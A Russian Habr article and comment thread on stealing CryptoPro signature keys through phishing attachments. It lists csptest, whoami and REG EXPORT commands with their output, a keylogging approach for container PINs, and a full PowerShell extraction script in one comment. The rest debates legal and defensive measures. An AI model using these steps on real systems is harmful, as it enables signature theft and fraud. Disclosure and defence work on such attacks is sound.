В эпоху цифровизации корпоративных процессов электронные подписи стали важнейшим инструментом для подтверждения легитимности документов. Однако на практике существует реальная угроза компрометации этих подписей, особенно через распространённые каналы, такие как рассылки с вложениями, через которые осуществляется более 90% успешных атак.

Ниже представлена демонстрация, показывающая, насколько легко можно реализовать захват закрытых ключей с пользовательского компьютера.

Что может произойти при компрометации электронной подписи? Возможные последствия:

  • Потеря средств на банковском счете. Злоумышленники могут провести незаконные переводы, подписав все платёжные документы вашей электронной подписью. Доказать факт кражи будет невозможно, поскольку все транзакции будут легитимно подписаны и признаны действительными.

  • Потеря имущества. С помощью украденной подписи можно создать фальшивый договор, например, по продаже имущества компании, что приведет к значительным финансовым потерям.

  • Срыв сделок. Если банк заблокирует счет на фоне подозрительных транзакций, вы не сможете выполнить оплату или получить деньги. Такие инциденты могут остановить деловые операции на неопределённый срок, сорвав сделки.

  • Порча репутации. Кражей подписи злоумышленники могут подписать фиктивные заявки на тендеры с невыгодными условиями. Это не только приведёт к отказу от сделки и попаданию в реестр недобросовестных поставщиков, но и приведёт к финансовым потерям.

  • Рейдерский захват компании. Используя подпись ключевого сотрудника, злоумышленники могут изменить устав, назначить нового руководителя или ослабить компанию другими способами, что создаст угрозу для её стабильности и контроля.

  • Потеря имущества сотрудника. Злоумышленники могут использовать электронную подпись для подписания фиктивных сделок с недвижимостью или другими активами. В случае признания сделки действительной, сотрудник может подать иск к работодателю, требуя компенсации ущерба, что приведет к ответственности компании за нарушение обязательств по обеспечению информационной безопасности.

В статье описан реальный, протестированный на лабораторном стенде механизм компрометации подписи, который может привести к серьёзным последствиям.

Описание угрозы

Общий обзор:

  1. Сотрудник организации получает письмо от поставщика. Вложение может быть любым — накладная, акт сверки, претензия. За маской файла может скрываться:

    • макрос в *.docm;

    • скрипт PowerShell, *.hta или *.vbs;

    • самораспаковывающийся архив;

    • или даже *.lnk, запускающий цепочку вызовов;

  2. При запуске вложения на рабочей машине запускается скрипт или исполняемый файл, который последовательно:

    • Получает список установленных контейнеров;

    • Копирует содержимое контейнеров в реестр;

    • Извлекает данные ключей из реестра;

  3. Данные отправляются на удалённый сервер, что позволяет собрать полный набор криптографической информации для дальнейшего использования.

Технические детали алгоритма

Рассмотрим реализацию алгоритма на примере операционной системы Windows, поскольку, несмотря на импортозамещение, именно эта платформа остается наиболее распространенной для работы с электронным документооборотом.

Выгрузка ключей осуществляется в несколько этапов. Каждый из них может включать различные механизмы и дополнительные меры для повышения отказоустойчивости, однако общий алгоритм примерно следующий:

Получение списка контейнеров через утилиту КриптоПро

csptest -keyset -enum_cont -verifycontext –fqcn
CSP (Type:80) v5.0.10008 KC1 Release Ver:5.0.12000 OS:Windows CPU:AMD64 FastCode:READY:AVX.
AcquireContext: OK. HCRYPTPROV: 995157792
\\.\FAT12_E\d58fe6c13-d917-2a53-8e9c-8c4b8158220
OK.
Total: SYS: 0,063 sec USR: 0,016 sec UTC: 0,086 sec
[ErrorCode: 0x00000000]

Вывод содержит пути к контейнерам — как локальным, так и внешним. Имена контейнеров можно легко выделить с помощью регулярных выражений.

Подстановка значений и копирование контейнеров в реестр

csptest -keycopy -contsrc "<исходный_контейнер>" -contdest "<конечный_контейнер >" –silent
CryptAcquireContext succeeded.HCRYPTPROV: 4014360096
CryptAcquireContext succeeded.HCRYPTPROV: 4014640432
Total: SYS: 0,094 sec USR: 0,094 sec UTC: 0,271 sec
[ErrorCode: 0x00000000]

Команда выполняется в «тихом» режиме, что позволяет избежать появления уведомлений, таких как запрос на вставку токена или ввод пароля, что важно для скрытности операции. Обратите внимание на код ошибки — его можно использовать для отслеживания результата выполнения и внесения изменений в алгоритм. Например:

  • код 0x8009000f — попытка скопировать запароленный контейнер без указания пароля;

  • 0x8010006e — пользователь отклонил запрос на ввод пароля;

  • 0x00000000 — операция успешна, можно переходить к следующему этапу.

Получение SID пользователя

whoami /user

SID необходим для определения пути в реестре, где хранятся ключи. Также легко выделяется с помощью регулярных выражений.

Извлечение ключей из реестра:

Ключи извлекаются с помощью команды REG QUERY, в путь к ветке реестра подставляются SID и имя извлекаемого контейнера.

REG QUERY "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\<SID>\Keys\<контейнер>"
name.key         REG_BINARY    30261624643538...
header.key       REG_BINARY    308205B5308203...
primary.key      REG_BINARY    308205B5308205...
masks.key        REG_BINARY    30360420CA74D3...
primary2.key     REG_BINARY    302204201675D2...
masks2.key       REG_BINARY    303604208A0E18...

Вывод содержит ключи, которые нужно будет слегка преобразовать.

Либо можно экспортировать ветку реестра используя REG EXPORT, в этом случае данные будут экспортированы в готовом виде в отдельный REG-файл, который можно считать или отправить целиком.

REG EXPORT "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\<SID>\Keys\<контейнер>" "C:\Users\User\branch.reg"

Отправка данных на удалённый сервер

Дампы можно отправлять по сети (HTTP, SMTP, FTP). Такой трафик легко маскируется и не вызывает подозрений.

Теперь достаточно подставить полученные ключи в реестр и протестировать их доступность.

Альтернативный вектор: использование ЭП без копирования

Даже если контейнер невозможно скопировать (например, он помечен как неэкспортируемый), злоумышленник может использовать криптопровайдер для подписания документов локально и отправки их на удалённый сервер. Это особенно опасно, так как не требует взлома токена, но компрометирует его владельца.

PIN-код? Мы просто подождём

Опираясь на коды ошибок, можно определить, что контейнер запаролен, и перевести программу в режим ожидания, ожидая ввод пароля (например, 4–8 цифр).

Это не brute-force — это passive listening.

Какие языки используются

Реализовать алгоритм можно на любом языке, способном выполнять команды, работать с командной строкой и отправлять HTTP-запросы:

Чаще всего применяются:

  • C / C++

  • PowerShell

  • Python

  • VBS

Заключение

Представленный механизм — это не гипотеза, а проверенный на практике алгоритм, успешно протестированный на лабораторном стенде. Угроза утечки электронной подписи и её удалённого использования реальна, и её недооценка может привести к серьёзным последствиям.

Подпись можно не только скопировать, но и использовать без ведома владельца, обходя сложные эксплойты и обманывая системы безопасности без необходимости привлечения хакеров из даркнета.

Алгоритм, описанный в статье, прост для реализации и не требует глубоких технических знаний. С использованием современных инструментов, таких как ChatGPT, весь процесс можно автоматизировать — от парсинга данных до их конвертации.

Комментарии (62)


  1. sukharichev
    15.06.2025 10:49

    Ну хорошо, напугать напугали, а где настоящие подробности? Такой скриптик-то и я напишу. На вашем тестовом стенде был антивирус или Edr\xdr или какие-то другие агенты\технологии безопасности? И они все прям ничего не видели и молчали?

    ...и раз уж тут речь и про юридические аспекты, можно ссылки на правоприменительную практику - были ли суды со схожими обстоятельствами, по какой статье велось дело, каков результат?

    А ну и главное - что делать-то? А то как не на хабре, ни рекламы продукта решающего проблему, ни ссылки на тг-канал :)

    То есть я согласен, что это прям проблема и в компаниях с эцп бардак, угрозы есть, но хотелось бы условий более приближенных к боевым и выводов поконкретней


    1. Uporoty
      15.06.2025 10:49

      А то как не на хабре, ни рекламы продукта решающего проблему, ни ссылки на тг-канал :)

      и слава господу, что нет :)


    1. NickNill
      15.06.2025 10:49

      Обычную подпись подделать легче, были ли суды? Были, но говорят сложно что-то доказать


      1. EazzyBuzzy
        15.06.2025 10:49

        По идее, подчерковедческая экспертиза закрывает вопрос.


        1. GidraVydra
          15.06.2025 10:49

          Почерковедческая экспертиза помогает только в простых случаях, когда злоумышленник вообще не старался подделывать, а чирканул на авось. А в целом это скорее заглушка для того, чтобы легитимизировать спорные решения суда посредством создания видимости объективности.

          Я как-то принимал участие в суде по трудовому спору, так там подписи, которые я ставил задним числом за начальника, признали подлинными. А мою подпись, которую я лично ставил на документ, признали поддельной. Хорошо, что я не был ответчиком...


      1. vitiok78
        15.06.2025 10:49

        Документ с обычной подписью - это реальный физический объект.

        Обычно важные документы отправляют либо с курьером, либо заказным письмом. В итоге можно проследить всю цепочку, потому что есть свидетель (курьер), есть подписи людей на каждом из этапов. И если документ просто внезапно материализовался в конечной точке, и никто не может объяснить, как это произошло, плюс почерковедческая экспертиза, то очень просто это всё оспорить.

        А вот чётко доказать, что вы не подписывали документ электронной подписью, гораздо, гораздо сложнее.


        1. GidraVydra
          15.06.2025 10:49

          Доказать в суде отсутствие факта передачи документа невозможно. Предположим, судья зачем-то даже задаст владельцу вопрос, как документ к нему попал, тот просто ответит, что не помнит, имеет на это полное право.

          Суд назначит почерковедческую экспертизу, но, как показывает практика, она работает как генератор случайных заключений, и расчитывать, что она распознает подделку, нельзя.


        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          Ответственность за обеспечение безопасных условий работы с электронными подписями лежит на работодателе и владельце подписи. Иначе после каждого платежа можно было бы идти в суд, кричать что подпись была украдена и требовать компенсации. Мы при выпуске подписей инструкцию выдавали и просили расписаться за инструктаж. Так же наша компания проводила тренинги по информационной безопасности, которые включали работу с фишинговыми письмами, но бдительные сотрудники все равно успешно открывали письма с вложениями типа:
          "Заявление на получение премии.exe"


    1. atd
      15.06.2025 10:49

      Судя по оформлению с помощью списков, вам не ответят, LLM ещё не научили писать комментарии.


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Антивирусы: да, все верно, антивирусы спокойно дают запускать подобные программы. Я работал в компании с миллиардными оборотами, 6000+ рабочих мест, где поднимал удостоверяющий центр и автоматизировал процессы связанные с СКЗИ, ЭП и ЭДО. Реализовал механизм удаленного извлечения ключей по данному алгоритму, сначала в тестовом режиме на PHP, потом в боевом на C++ (потому что дает сканировать ввод с клавиатуры, если контейнер запаролен + не требует наличие интерпретатора для запуска). Kaspersky и Bitdefender спокойно игнорируют подобные схемы. Так же тестировал удаленное подписание с неэскортируемыми ключами - на клиентские машины ставится агент, который выполняет удаленные команды. Сначала нужно запустить сканирование что бы найти машину на которой установлен токен, затем отправить задание на подписание файла. Я так машиночитаемые доверенности подписывал.

      Юридические аспекты: в нашей компании бухгалтер подписала себе безвозвратный кредит подписью генерального и уехала в другую страну, в компании моего знакомого увели ключи генерального директора и подписали договор подряда и закрывающие документы - чем закончилось не знаю. В новостях был случай, когда сделку по недвижимости подписали, потом смогли опровергнуть через суд, но только потому, что подпись оказалась поддельная.

      Что делать: каждая компания решает сама какие меры информационной безопасности применять, я просто протестировал уязвимость, написал автоматизацию и предоставил отчет. В моем случае компания не приняла никаких мер, хотя ее регулярно успешно атакуют через рассылки, получают доступ к чувствительным данным, шифруют рабочие столы, получают доступ к серверам. Можно получить доступ через рассылки с вложениями, но так же можно получить доступ через сотрудников. Многие бывшие сотрудники в компании, где я работал, до сих пор могут получить доступ ко всем рабочим местам через системы удаленного доступа, которые поддерживают работу с командной строкой и запущены от имени администратора, а инструкция, содержащая пароль подключения, гуляет по интернету в открытом доступе. В этом случае что бы обчистить 6000 рабочих мест уйдет примерно 20 минут.

      Да, рекламы нет. Я обозначил проблему, а ее решение лежит на плечах руководителей ит департаментов и владельце ЭП.


    1. oleg_rico
      15.06.2025 10:49

      Держите подпись на флешке, подключайте к компу только тогда когда подписываете документы.

      Собственно, подпись полученная в налоговой для ИП скопировать на комп невозможно.


      1. DmitriiMikhailov Автор
        15.06.2025 10:49

        Если подпись хранится на токене, программа переходит в режим ожидания, пока токен не будет подключен к системе, после чего скопирует за секунду.
        Если контейнер запаролен, программа сканирует хранилище сохраненных паролей, а потом начинает сканировать ввод с клавиатуры и после каждого ввода, похожего на пароль - снова пытается скопировать контейнеры.
        Неэкспортируемые ключи ФНС легко экспортируются, у меня есть отдельная программа, которую я использовал для создания копий, когда работал в офисе - можно запросто интегрировать, только эти ключи нельзя будет записать обратно на токен - только на флешку или в реестр. Либо можно поднять сервер с заданиями, скачивать документ, подписывать локально и отправлять подписанный файл на сервер.
        К сожалению, описанные вами методы не помогут, хотя это рекомендуемый минимум.


  1. Playa
    15.06.2025 10:49

    Ну и на кой эта статья в хабе C++?


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Пособие для C++ разрабов. Вдруг кто-то решит перейти в направление Malware-as-a-Service (MaaS) и навести шороху в индустрии. Шучу.


  1. NutsUnderline
    15.06.2025 10:49

    в заголовке слова ЧУТЬ не хватает


  1. RoasterToaster
    15.06.2025 10:49

    На самом деле этот ящик Пандоры только открывается. ЭЦП сейчас только ленивый бухгалтер не копирует, обычно директорские ЭЦП на рдп серверах десятками висят.

    ФНС открестился от проблемы просто: сказал что копировать ЭЦП запрещено и всё. Из разряда высказаться за все хорошее против всего плохого.

    Возможно что много копий, уже полученных злоумышленниками, просто ждут какого то изменения в законодательстве для захвата имущества.

    Скрытая электронная угроза. Враг в токене ЭЦП


    1. Popadanec
      15.06.2025 10:49

      Чисто в теории, ЭП защищена от кражи с аппаратного токена, но она же как то перезаписывается удалённо при устаревании, значит и блокировка программная.


      1. digrobot
        15.06.2025 10:49

        При перевыпуске ЭЦП токен внутри себя генерирует новый ключ, и выдает наружу CSR (Certificate Signing Request), который отправляется в удостоверяющий центр.
        Т.е. если все сделано как положено, приватный ключ никогда не покидает токен, и скопировать ЭЦП нельзя.


        1. santjagocorkez
          15.06.2025 10:49

          Ключ нет необходимости каждый раз перегенерировать, если речь не об утечке (подборе) закрытой части. На основе того же старого, как мощи царя Соломона, ключа можно просто запросить новый сертификат (csr->cer/crt). А сертификат по определению публичен.


        1. nitro80
          15.06.2025 10:49

          скопировать ЭЦП нельзя

          С некоторых токенов можно


          1. DmitriiMikhailov Автор
            15.06.2025 10:49

            С каких токенов нельзя скопировать? У меня таких проблем не было. Даже неэкспортируемые подписи легко экспортируются, потому что они не привязаны к ID устройства.


            1. Shaman_RSHU
              15.06.2025 10:49

              Нельзя скопировать с токена со встроенной криптой. Ну так все используют самые дешевые рутокены, которые по сути флешка с пин-кодом и админским пуком, который по умолчанию обычно не меняют.


              1. DmitriiMikhailov Автор
                15.06.2025 10:49

                Насколько я знаю, встроенная крипта токенов работает далеко не везде. В основном КриптоПро и ViPNet.


                1. Shaman_RSHU
                  15.06.2025 10:49

                  Чтобы обеспечить юридически-значимый электронный документооборот (ЮЗДО) нужно использовать в том числе сертифицированные ФСБ средства криптографической защиты (СКЗИ). Перечисленные Вами - это 99 процентов рынка (есть ещё всякие Меридиан, Dcrypt, Форос...).

                  Можно конечно играться opensource, но в случае судебных разбирательств будет приниматься подпись, генерированная сертифицированными СКЗИ (технически доказать это конечно очень сложно, но можно).


      1. DmitriiMikhailov Автор
        15.06.2025 10:49

        Верно, вы не имеете прямого доступа к ключам на защищенном токене. Но вы можете экспортировать ключи через криптопровайдер, если они являются экспортируемыми. Либо использовать удаленное подписание, если ключи неэкспортируемые.
        Данный механизм и описан в данной статье, а csptest это утилита командной строки, которая идет в комплекте с криптопро и используется для того, что бы получить доступ к ключам на токене.


      1. sukharichev
        15.06.2025 10:49

        обычно он не перезаписывается, а добавляется. Но зная пинкод с токеном можно делать что угодно, в том числе удалять контейнеры.


        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          Для удаления контейнеров пароль не нужен, если не ошибаюсь.


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Текущее законодательство вполне позволяет подписывать документы по передаче имущества. Вот примеры:
      1. Подпись сотрудника c мчд (ограничено доверенностью) - можно заключить договор с подставной фирмой на космические суммы, подписать счет и закрывающие документы. В некоторых случаях возможно использование личного имущества сотрудников, если на это нет запрета.
      2. Подпись руководителя - все то же самое, что и в первом пункте + назначить себя на должность с невероятной зарплатой, добавив необоснованную компенсацию при увольнении, выдать себе невозвратный кредит от компании, подписать мчд на свое имя, переписать на себя имущество компании, подписать указ о повышении зарплаты всем сотрудникам на 800%, задонатить средства на благотворительность, получить доступ в онлайн банкинг.

      Есть огромное количество способов навести шорох, которые ограничиваются только фантазией злоумышленника.


      1. nitro80
        15.06.2025 10:49

        Онлайн банкинг везде попросит СМС или пуш


        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          Не всегда. Насколько я знаю, Сбербанк, ВТБ и Тинькофф позволяют корпоративным клиентам авторизовываться через ЭП и PIN, без sms или push.
          PIN почти наверняка лежит у каждого бухгалтера на рабочем столе в файле с расширением *.docx. Во всех компаниях где я работал так было, по крайней мере :D


          1. nitro80
            15.06.2025 10:49

            Но вроде подписать платёжное поручение только через СМС


            1. DmitriiMikhailov Автор
              15.06.2025 10:49

              Может быть кто-то так и делает. Я хотел бы посмотреть как бухгалтерия в крупной компании проводит 1000 платежей в час и судорожно вводит коды из смс)


              1. nitro80
                15.06.2025 10:49

                Так если пачкой отправляешь - оно же разово спрашивает, не?


                1. DmitriiMikhailov Автор
                  15.06.2025 10:49

                  Возможно. Но тогда можно просто подкинуть платежку в общую кучу. Кто будет проверять 1000 платежных поручений перед подписанием всей пачки.


                1. Popadanec
                  15.06.2025 10:49

                  Подписать можно и отпечатком, по крайней мере в приложении. И да пачку можно подписать как одним отпечатком, так и одной смской.


                1. exTvr
                  15.06.2025 10:49

                  Так если пачкой отправляешь - оно же разово спрашивает, не?

                  Обычно спрашивает для платежей в адрес новых/подозрительных* контрагентов, платежи в сторону контрагентов с которыми уже есть история расчётов проходят без танцев с подтверждением.

                  *подозрительные с т.з. банка.


            1. sukharichev
              15.06.2025 10:49

              нет


      1. santjagocorkez
        15.06.2025 10:49

        Подпись руководителя - все то же самое, что и в первом пункте + назначить себя на должность с невероятной зарплатой, добавив необоснованную компенсацию при увольнении

        Насколько мне известно, это категорически не так. Руководитель организации нанимается собственниками организации, и с ними он заключает договор, где определены все условия. Преодолеть этот договор своей подписью от лица организации руководитель не может. То же самое, кстати, касается устава организации (об этом написано в тексте статьи).


        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          Имея подпись генерального директора вы абсолютно точно можете назначит себя заместителем генерального директора и подписывать различные указы.

          Что касается изменения устава компании и рейдерского захвата - вот информация на сайте Тензора и я не вижу причин ей не доверять, потому что эта организация тесно сотрудничает с гос структурами.
          https://tensor.ru/uc/ep/utrata


          1. santjagocorkez
            15.06.2025 10:49

            https://www.consultant.ru/document/cons_doc_LAW_17819/dd7be15e0bdc4a15af33cdc98ad82e3a2386970f/

            Настала пора перестать им верить, значит.


            1. DmitriiMikhailov Автор
              15.06.2025 10:49

              На основании этого федерального закона нельзя однозначно утверждать что он запрещает рейдерских захват с помощью электронной подписи.
              Например:
              В статье указано, что изменения в устав могут быть внесены по решению общего собрания участников общества (если несколько учредителей). Причем изменения вступают в силу после их государственной регистрации в органах, осуществляющих регистрацию юридических лиц (то есть электронная система налоговой).
              Примеры:
              1. Генеральный директор и учредитель одно лицо - подписью генерального директора можно подписать обновленный устав и направить в налоговую через электронную систему.
              2. Генеральный директор и учредитель разные лица - обновленный устав должен быть подписан подписью учредителя и направлен в налоговую через электронную систему.

              Я не вижу каким образом данный федеральный закон запрещает передачу долей компании другому лицу через обновление устава, подписанного электронной подписью и зарегистрированного через электронную систему ФНС.


              1. shellenberg
                15.06.2025 10:49

                Передача долей в компании требует нотариаьного удостоверения. ЭЦП не поможет


                1. DmitriiMikhailov Автор
                  15.06.2025 10:49

                  Я видел только что назначение генерального директора теперь требует нотариального удостоверения. Но не нашел информацию о том, что запрещено вносить изменения в учредительные документы через подачу в электронном виде, с целью добавить учредителя, например.
                  Не поделитесь ссылкой на федеральный закон?


                  1. shellenberg
                    15.06.2025 10:49

                    Я видел только что назначение генерального директора теперь требует нотариального удостоверения.

                    Назначение Генерального Директора всегда требовало нотариального заверения. Это не новое требование. Собственно форму Р<не помню какой-там номер> подписывает избранный ГД, а его подпись заверяет нотариус.

                    Касательно продажи -- федеральный закон об ООО статья 21 пункт 11

                    Сделка, направленная на отчуждение доли или части доли в уставном капитале общества, подлежит нотариальному удостоверению путем составления одного документа, подписанного сторонами. Несоблюдение нотариальной формы влечет за собой недействительность этой сделки.

                    И все, только так, ЭЦП не прокатывает.

                    Вообще, сама ситуация вызывает у меня нервный саркастический смех. Передать долю по ЭЦП, ага ага.

                    Не далее как год назад, лично столкнулся с ситуацией когда учредитель (я) за границей с начала 2022 года. У меня была только ЭЦП. Доверенности нет. Очередь в консульства в Европе по несколько месяцев. Фигня вопрос подумал я -- ЭЦП же аналог собственноручной подписи. А дальше начинается реальность.

                    Отказ от преимущественного права покупки -- только нотариальное заявление. Подписать ЭЦП -- нельзя! Делайте доверенность!

                    Тут приходит в голову идея -- переделать устав, подписав ЭЦП. Ага, щас... отказаться от преимущественного права нельзя в принципе. Внести в устав пункт о обычном заверении.... тоже нельзя потому-что закон об ООО:

                    Подлинность подписи на заявлении участника общества или общества об отказе от использования преимущественного права покупки доли или части доли в уставном капитале общества должна быть засвидетельствована в нотариальном порядке

                    Отчуждение долей -- та же самая фигня (цитировал выше).

                    И это только первые несколько граблей, которые лежат на пути перераспределения долей только при помощи ЭЦП, без нотариуса.

                    В общем, при пристальном рассмотрении оказалось, что с ЭЦП учредителя сделать можно чуть более чем ничего. Электронные госуслуги... млин. Пришлось лично мотаться в консульство РФ в славном городе Дербецен, предварительно отыскав этот город на глобусе.


                    1. DmitriiMikhailov Автор
                      15.06.2025 10:49

                      Здесь сказано про отчуждение доли, то есть продажу, покупку, дарение. Есть информация по поводу запрета добавлять дополнительных учредителей? Это разные процессы, если не ошибаюсь - при вхождении дополнительного учредителя не происходит отчуждение доли, а происходит увеличение уставного капитала. Теоретически, можно добавить двух новых учредителей и в обновленном уставе прописать, что вес голосов на собраниях определяется не размером доли, а большинством голосов. В таком случае можно было бы проголосовать за смену генерального директора.
                      А что бы продавать долю другим учредителям, нотариус по моему не нужен. То есть можно рассмотреть вероятность войти в учредители, а потом отжать долю у второго учредителя. Но это на теории.
                      Что думаете?


          1. shellenberg
            15.06.2025 10:49

            Имея подпись генерального директора вы абсолютно точно можете назначит себя заместителем генерального директора и подписывать различные указы.

            Имея подпись ГД вы можете не палиться с назначением себя замом и просто подписывать от его имени))))

            Однако размах цифрового Остапа Бендера будет существенно ограничен законом об ООО и Уставом компании. Для любых крупных сделок (юридический термин из Закона об ООО) понадобится согласие всех учредителей. Для того чтобы внести изменения в Устав понадобится протокол общего собрания всех учредителей. Перераспределение долей -- это вообще дохлый номер как я написал выше


  1. Yozh-lyudoyed
    15.06.2025 10:49

    Извините, я не в теме. Ключи что, в открытом виде в реестре хранятся? Они никак не шифруются?


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Да, все верно. Вы можете проверить самостоятельно - сгенерируйте тестовую подпись на usb носитель, скопируйте ее в реестр, выделите ветку реестра с подписью и экспортируйте в виде *.reg файла. Перенесите этот файл на другой компьютер, замените SID на текущего пользователя и импортируйте в реестр. Этот метод широко практикуется в крупных компаниях, когда нужно на рабочее место установить пул подписей, например бухгалтеру.


      1. RoasterToaster
        15.06.2025 10:49

        Но там есть целый пароль. Если он не стандартный то и из реестра ты без него ничего не вынешь. Вроооде бы


        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          1. Когда я выпускал подписи, в рекомендациях удостоверяющего центра прямым текстом было написано, что устанавливать пароли на контейнеры не рекомендуется. Причина в том, что пользователи часто забывают пароли и им приходится перевыпускать подписи.

          2. Если контейнер установлен в реестр и он запаролен, вы можете его скопировать, но при установке на новое рабочее место он будет требовать пароль. В описанном мной примере контейнер копируется в реестр из токена, на этом этапе уже будет понятно установлен пароль или нет, по коду ошибки. Если пароль установлен, можно перейти в режим сканирования ввода с клавиатуры и каждый набор символов подгонять под паттерн (например 8-16 цифр) и после каждого совпадения снова пытаться скопировать его. Если подписей на съемных носителях нет, а они сразу установлены в реестр, то перед копированием можно делать проверку, которая должна вернуть код ошибки 0, если пароль не установлен, либо снова переходить в режим сканирования ввода.

          3. Если контейнеры запаролены но пароль был запомнен при вводе, можно извлечь их таким образом
            csptest -passwd -showsaved -container "<имя контейнера>"

          На моем опыте контейнеры либо не имели пароля, либо пароль был запомнен, что бы не вводить его при каждом подписании. Но всегда остаются механизмы, что бы его извлечь.


      1. Yozh-lyudoyed
        15.06.2025 10:49

        Какая то дичь, имхо. В старом ламповом мире у бухгалтеров не было никаких пулов подписей. Какой смысл в подписи, если она есть у всех? У бухгалтеров, у айтишников, у любого, кто просто посидел за компом во время отпуска хозяина, у ремонтника, которому комп отвозили чинить...


        1. Popadanec
          15.06.2025 10:49

          Согласен. В некотором смысле даже хуже стало. Я как ИП, раньше не был привязан ни к конкретному компу, ни к подписи, которая может протухнуть, токен может сломаться или потеряться. Спокойно себе отправлял отчётность в органы через онлайн бухгалтерию с любого устройства с смс подтверждением. А сейчас подпись надо ставить на ноутбук и тащить с собой в отпуск(оба два), потому что благодаря "заботе" государства даже двухнедельного разрыва нет между отчётами. Т.е. если бухгалтер один или его нет, то в отпуск по закону не съездишь.


  1. ki11j0y
    15.06.2025 10:49

    Надежнее всего подготовить систему на флешку со средой для работы с токеном перевести в ro и загружать когда требуется, лучшим решением будет запись ЭЦП через pkcs11 профиль при активном токене, тот что с скзи на борту и избежать контейнеров криптопро. А криптопро использовать как посредник для гост tls.

    Т.к. система в озу ну или с флешки в ro, закрепить вредонос не выйдет, перезагрузка и все стирается. Надёжно? Вроде да. Удобно? Относительно.

    Если говорить в плане компании лучшее решение это usbip коммутатор и через него прокинуть токены кому надо а потом забрать. И прекратить использовать пассивные токены без скзи.


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Я согласен, что есть множество механизмов защиты, но далеко не во всех компаниях они внедрены. Более того, их массовое внедрение и не планируется, особенно в компаниях, в которых нет штатного специалиста по ИБ. Поэтому угроза актуальна.


  1. LexPex
    15.06.2025 10:49

    Привет @DmitriiMikhailov

    Можно я как ИБшник со стажем немножко потоксичу?

    Реально важная тема про компрометацию ЭП превращена в "страшилку" уровня "пришли хакеры и всё украли" . Мало технических деталей — ни схемы взаимодействия с КриптоПро, ни структуры контейнеров, ни информации о том, как именно происходит экспорт ключа, при каких правах, в какой версии Windows, с какими флагами. Всё сводится к «запустили payload и утащили ЭП». Это упрощение вредно — создаёт ложную уверенность, что достаточно «не открывать вложения», и всё будет хорошо.

    Где хоть что-то про аппаратные средства защиты (Рутокен, JaCarta), про разделение ключей и контейнеров по уровням доступа? Где рекомендации по ограничению экспорта ключей через политики безопасности Windows (`gpedit`, AppLocker, SRP)? Где база про физическую изоляцию машины с ЭП? Или про отдельный токен с подтверждением на кнопке? Это же азы. Ну ладно что то я тут через чур.... Сорри чисто проф деформация

    Ок ближе к теме... Ноль упоминаний про журналирование и контроль.

    Если у вас ЭП может быть экспортирована — значит, не настроен ни контроль доступа к `CryptoPro CSP`, ни аудит действий пользователей, ни даже банальный мониторинг исполняемых процессов и вызовов API. Почему это не разобрано?

    Про ФЗ-63 не сказано ни слова. Между тем в юридическом смысле защищённая ЭП = ручка директора. Если вы дали возможность её скомпрометировать, вы автоматически проиграли суд. Автору стоило хотя бы упомянуть про риски по линии корпоративного соответствия и ИТ-аудита. А ещё — про практики по отзыву ЭП и перевыпуску, если возникли подозрения.

    Статистика «90% через вложения» — откуда?Если это откуда-то типа Group-IB или Mandiant — покажите ссылку. Если нет — не надо манипулировать цифрами ради эмоционального эффекта. Мы тут всё-таки технари :)

    Логичный вопрос что можно было бы сделать лучше? Я бы сделал так:

    — подробно разобрать вектор: от импланта до доступа к контейнеру,

    — привести примеры, как это блокируется: на уровне AD, GPO, политики безопасности,

    — обсудить юридические последствия, включая кейсы с подписями в арбитражах,

    — сделать вывод не «ой, страшно», а «делаем так-то, так-то, тогда безопасно.

    Пока это выглядит как пост для управленцев, чтобы они в панике побежали заказывать аудит. А хотелось бы увидеть статью уровня ИБ-практика: с примерами, логами, техниками, и чёткими выводами. Пока — не дотягивает. Это чисто конструктивная критика, тк много лет занимаюсь этим. Надеюсь не обидел.


    1. DmitriiMikhailov Автор
      15.06.2025 10:49

      Привет. Конечно можно, публикация создана что бы токсичить.
      Ко мне пришла идея протестировать механизм кражи ключей когда я администрировал удостоверяющий центр. Я набросал на скорую руку программу, которая успешно выгружала ключи с удаленного компьютера, как с доменного, так и с локального, kaspersky и bitdefender запуск игнорировали. В данной статье я поделился опытом, каким образом был реализован алгоритм выгрузки ключей, но без чрезмерных подробностей и исходного кода, т.к. это может попадать под 273 статью УК РФ.

      Что касается механизмов защиты - целью статьи не было навязывание решений по защите информации, основная задача была указать на наличие проблемы и предоставить информацию для размышлений. Конечно можно было бы описать все классы СКЗИ защиты КС, КА, КВ, рассказать про пак "соболь", но мне не хотелось раздувать статью и делать ее сложной для понимания, потому что она создана не только для компаний, которые активно внедряют электронный документооборот, но и для обычных пользователей, которые работают с электронной подписью дома.

      В целом ваша идея неплохая и просвещение в области информационной безопасности может быть полезным. Но я бы вынес это в отдельную статью, связанную с атаками в более широком смысле.

      Статистика про 90% взята с сайта агентства по кибербезопасности и защите инфраструктуры США. Вот ссылка:
      https://www.cisa.gov/shields-guidance-families


      1. Shaman_RSHU
        15.06.2025 10:49

        Вы под программой понимаете скрипт из пары десятков строк? Так он всем известен, кто давно в теме.

        PS
        param($computer, $user, $pass)
        $secpass = ConvertTo-SecureString $pass -AsPlainText -Force
        $cred = New-Object System.Management.Automation.PSCredential($user, $secpass)
        Invoke-Command -ComputerName $computer -Credential $cred -ScriptBlock {
            $sid = (whoami /user | Select-String 'S-[\d-]+').Matches.Value
            $containers = (csptest -keyset -enum_cont -verifycontext -fqcn | Select-String '\\\\.\\.+').Matches.Value
            foreach ($cont in $containers) {
                $dest = "temp_$([guid]::NewGuid())"
                csptest -keycopy -contsrc $cont -contdest $dest -silent | Out-Null
                reg export "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\$sid\Keys\$dest" "$env:TEMP\$dest.reg"
                Get-Content "$env:TEMP\$dest.reg"
                Remove-Item "$env:TEMP\$dest.reg"
            }
        }

        И при чём тут kaspersky и bitdefender? Это тупые антивирусы (эвристика как метод умерла лет 5 назад), которые для таких вещей не предназначены, а управленцы после таких высказываний как раз и считают, что в организации для обеспечения ИБ достаточно обвешаться антивирусами и будешь под надёжной защитой.

        Для предотвращения таких вещей нужен EDR/XDR и нормальный SOC.
